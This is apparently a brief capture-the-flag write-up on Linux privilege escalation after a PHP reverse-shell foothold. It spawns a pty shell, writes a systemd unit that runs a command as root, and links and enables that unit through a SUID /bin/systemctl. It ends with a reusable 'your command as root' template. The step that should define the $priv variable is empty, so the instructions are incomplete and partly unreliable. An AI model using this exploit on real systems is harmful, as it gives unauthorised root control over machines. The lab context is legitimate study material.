We found a vulnerable web server and uploaded a PHP reverse shell, and activated it.

We end up as the user www-data.

• To privilege escalate, we use Python to get an interactive shell:
  python -c 'import pty;pty.spawn("/bin/bash")'

• We know that /bin/systemctl is vulnerable due to having the SUID bit set. So we need to create a system variable to make a .system file to run with root access.
  

• Execute the following code:
  

  echo '[Service]
  ExecStart=/bin/bash -c "cat /root/root.txt > /opt/flag"
  [Install]
  WantedBy=multi-user.target' > $priv
  

• Then we need to link it

  /bin/systemctl link $priv
  

• And run it

  /bin/systemctl enable --now $priv
  

In the future, use this systemctl SUID exploit to do whatever you need root to do by changing the string after -c

echo '[Service]
ExecStart=/bin/bash -c "YOUR COMMAND AS ROOT GOES HERE"
[Install]
WantedBy=multi-user.target' > $priv